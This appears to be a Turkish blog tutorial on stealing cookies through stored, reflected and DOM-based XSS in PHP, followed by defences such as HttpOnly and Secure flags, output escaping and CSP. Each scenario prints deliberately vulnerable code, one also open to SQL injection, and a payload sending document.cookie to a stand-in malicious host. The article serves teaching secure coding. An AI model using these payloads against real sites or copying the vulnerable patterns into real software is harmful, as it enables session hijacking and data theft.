PHP ile XSS Kullanarak Çerez Ele Geçirme: Teknik İnceleme
Giriş
Cross-Site Scripting (XSS), web uygulamalarında güvenlik açıklarını istismar etmek için kullanılan bir tekniktir. Bu açıklar, saldırganların zararlı JavaScript kodlarını hedef web sayfasına enjekte etmelerine ve bu sayede kullanıcı çerezlerini çalmalarına olanak tanır. Bu makalede, PHP kullanarak XSS açığı ile çerez ele geçirme sürecini teknik detaylarıyla inceleyeceğiz. Bu süreç, güvenlik açıklarının nasıl istismar edilebileceği ve bu açıkların nasıl önlenebileceğini anlamanızı sağlayacaktır.
XSS Türleri ve Teknik Detaylar
- Stored XSS (Depolanan XSS): Zararlı kodun, sunucuda kalıcı olarak saklanması ve diğer kullanıcılar tarafından çalıştırılmasıdır. Bu tür açıklar genellikle veritabanlarında saklanan kullanıcı verileri aracılığıyla ortaya çıkar.
- Reflected XSS (Yansıtılan XSS): Zararlı kodun, HTTP istekleri aracılığıyla hemen işlenmesi ve yanıt olarak döndürülmesidir. URL parametreleri, form verileri veya HTTP başlıkları bu tür açıkları tetikleyebilir.
- DOM-based XSS (DOM Tabanlı XSS): Zararlı kodun, DOM üzerinde yapılan JavaScript manipülasyonları sonucunda çalıştırılmasıdır. Bu tür açıklar, JavaScript'in dinamik olarak içerik oluşturduğu durumlarda ortaya çıkar.
PHP ile Stored XSS ile Çerez Ele Geçirme
Stored XSS, zararlı JavaScript kodunun sunucu tarafında kalıcı olarak saklandığı ve diğer kullanıcılar tarafından görüntülendiği bir durumdur. Aşağıda bu tür bir açığın PHP ile nasıl istismar edilebileceğini detaylı bir şekilde inceleyeceğiz.
Senaryo: Profil Güncelleme
Bir forum uygulamasında kullanıcıların profil açıklamalarını güncelleyebildiği bir bölüm var. Profil açıklamaları veritabanına kaydedilir ve diğer kullanıcılar tarafından görüntülenir.
Profil Güncelleme Formu (HTML)
<form action="update_profile.php" method="POST">
<textarea name="bio" placeholder="Profil açıklamanızı yazın..."></textarea>
<button type="submit">Güncelle</button>
</form>
Sunucu Tarafı (update_profile.php)
Bu PHP dosyası, kullanıcıdan gelen profil açıklamasını veritabanına ekler. Ancak, bu dosya kullanıcı girdilerini doğru şekilde temizlemeden veritabanına kaydediyor.
<?php
// Veritabanı bağlantısı
$mysqli = new mysqli("localhost", "username", "password", "database");
// Bağlantı kontrolü
if ($mysqli->connect_error) {
die("Bağlantı hatası: " . $mysqli->connect_error);
}
// Kullanıcıdan gelen veriyi al
$bio = $_POST['bio'];
// Profil açıklamasını veritabanına ekle
$sql = "INSERT INTO profiles (bio) VALUES ('$bio')";
if ($mysqli->query($sql) === TRUE) {
echo "Profil güncellendi!";
} else {
echo "Hata: " . $sql . "<br>" . $mysqli->error;
}
$mysqli->close();
?>
Zararlı Kod Enjeksiyonu
Saldırgan, profil açıklamasına aşağıdaki zararlı kodu ekleyebilir:
<script>
fetch('http://malicious.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>
Bu kod, document.cookie
kullanarak çerezleri okur ve zararlı bir sunucuya gönderir. Kullanıcılar bu profili ziyaret ettiğinde, zararlı kod çalışır ve çerez bilgileri sızdırılır.
PHP ile Reflected XSS ile Çerez Ele Geçirme
Reflected XSS, zararlı kodun HTTP istekleri aracılığıyla hemen işlenmesiyle ortaya çıkar. Bu tür açıklar genellikle URL parametreleri veya form verileri aracılığıyla tetiklenir.
Senaryo: Arama Fonksiyonu
Bir web uygulamasında kullanıcıların arama sorgularını URL parametreleri aracılığıyla gönderebildiği bir özellik var.
Arama Formu (HTML)
<form action="search.php" method="GET">
<input type="text" name="query" placeholder="Arama yapın..." />
<button type="submit">Ara</button>
</form>
Sunucu Tarafı (search.php)
Bu PHP dosyası, URL'den gelen arama sorgusunu doğrudan HTML çıktısına ekler. Bu, XSS açıklarına yol açabilir.
<?php
// Kullanıcıdan gelen arama sorgusunu al
$query = $_GET['query'];
// Arama sorgusunu HTML'e ekle
echo "<h1>Arama Sonuçları: " . $query . "</h1>";
?>
Zararlı URL
Saldırgan, URL'ye aşağıdaki zararlı kodu ekleyebilir:
http://example.com/search.php?query=<script>fetch('http://malicious.com/steal?cookie=' + encodeURIComponent(document.cookie));</script>
Bu URL, document.cookie
kullanarak çerezleri okur ve zararlı bir sunucuya gönderir.
PHP ile DOM-based XSS ile Çerez Ele Geçirme
DOM-based XSS, zararlı kodun JavaScript manipülasyonları sonucu çalıştırıldığı bir açığı ifade eder. Bu tür açıklar, JavaScript'in DOM üzerinde dinamik değişiklikler yaptığı durumlarda ortaya çıkar.
Senaryo: Dinamik İçerik Gösterimi
Bir web uygulamasında kullanıcıların URL'den parametreler alarak dinamik içerik gösterebildiği bir özellik var.
JavaScript Kodu (index.php)
Bu PHP dosyası, URL'den hash parametresini alır ve içeriği dinamik olarak HTML'e ekler. Ancak, bu kod doğrudan kullanıcı girdisini işler.
<!DOCTYPE html>
<html>
<head>
<title>Dinamik İçerik</title>
</head>
<body>
<div id="content"></div>
<script>
// URL hash'ten içerik al
var content = location.hash.substring(1);
document.getElementById('content').innerHTML = content;
</script>
</body>
</html>
Zararlı URL
Saldırgan, aşağıdaki URL'yi kullanarak zararlı kod enjekte edebilir:
http://example.com/index.php#<script>fetch('http://malicious.com/steal?cookie=' + encodeURIComponent(document.cookie));</script>
Bu URL, location.hash
ile çerezleri zararlı bir sunucuya gönderir.
Çerez Güvenlik Özellikleri
HttpOnly Bayrağı
HttpOnly
bayrağı, çerezlerin JavaScript tarafından erişilmesini engeller. Çerezler sadece HTTP istekleri aracılığıyla gönderilir, JavaScript tarafından erişilemez.
PHP ile HttpOnly Çerezi Ayarlama
<?php
// Çerez ayarı
setcookie("session_id", "1234567890", time() + 3600, "/", "", false, true);
?>
Burada setcookie()
fonksiyonunda HttpOnly
bayrağı true
olarak ayarlanmıştır. Bu, çerezin sadece HTTP istekleriyle gönderileceği ve JavaScript tarafından erişilemeyeceği anlamına gelir.
Secure Bayrağı
Secure
bayrağı, çerezlerin sadece HTTPS üzerinden iletilmesini sağlar. Bu, çerezlerin şifrelenmemiş HTTP bağlantıları üzerinden çalınmasını engeller.
PHP ile Secure Çerezi Ayarlama
<?php
// Çerez ayarı
setcookie("session_id", "1234567890", time() + 3600, "/", "", true, true);
?>
Burada setcookie()
fonksiyonunda Secure
bayrağı true
olarak ayarlanmıştır. Bu, çerezin sadece HTTPS bağlantıları üzerinden gönderileceği anlamına gelir.
Güvenlik Önlemleri ve İyi Uygulamalar
- Girdi Doğrulama ve Temizleme: Kullanıcıdan gelen tüm verileri doğrulama ve temizleme işlemlerini uygulayın. HTML ve JavaScript içindeki özel karakterleri kaçırmak için
htmlspecialchars()
gibi fonksiyonları kullanın. - Çerez Güvenlik Bayrakları: Çerezlerin güvenliğini sağlamak için
HttpOnly
veSecure
bayraklarını kullanın. Bu, çerezlerin JavaScript tarafından erişilmesini ve şifrelenmemiş HTTP üzerinden iletilmesini engeller. - Content Security Policy (CSP): Web sayfalarınızda içerik güvenlik politikaları uygulayın. CSP, belirli kaynaklardan gelen içeriklerin çalıştırılmasını veya yüklenmesini sınırlayabilir.
- Kapsamlı Güvenlik Testleri: Web uygulamanızı düzenli olarak XSS ve diğer güvenlik açıkları için test edin. Güvenlik tarayıcıları ve penetrasyon testleri bu süreçte faydalı olabilir.
- Güvenli Kodlama Pratikleri: Güvenli kodlama tekniklerine uyun. SQL enjeksiyonu ve XSS gibi güvenlik açıklarını önlemek için parametrik sorgular ve girdi doğrulama tekniklerini kullanın.
Sonuç
XSS açıkları, çerezlerin ele geçirilmesi gibi ciddi güvenlik ihlallerine yol açabilir. PHP ile XSS açıklarının nasıl istismar edilebileceğini ve bu açıkların nasıl önlenebileceğini anlamak, güvenli web uygulamaları geliştirmek için kritik öneme sahiptir. Çerez güvenliği, HttpOnly
ve Secure
bayraklarının kullanımıyla sağlanabilir. Ayrıca, düzenli güvenlik testleri ve güvenli kodlama pratikleri uygulamak, web uygulamanızın güvenliğini artıracaktır.
Yorumlar
Yorum Gönder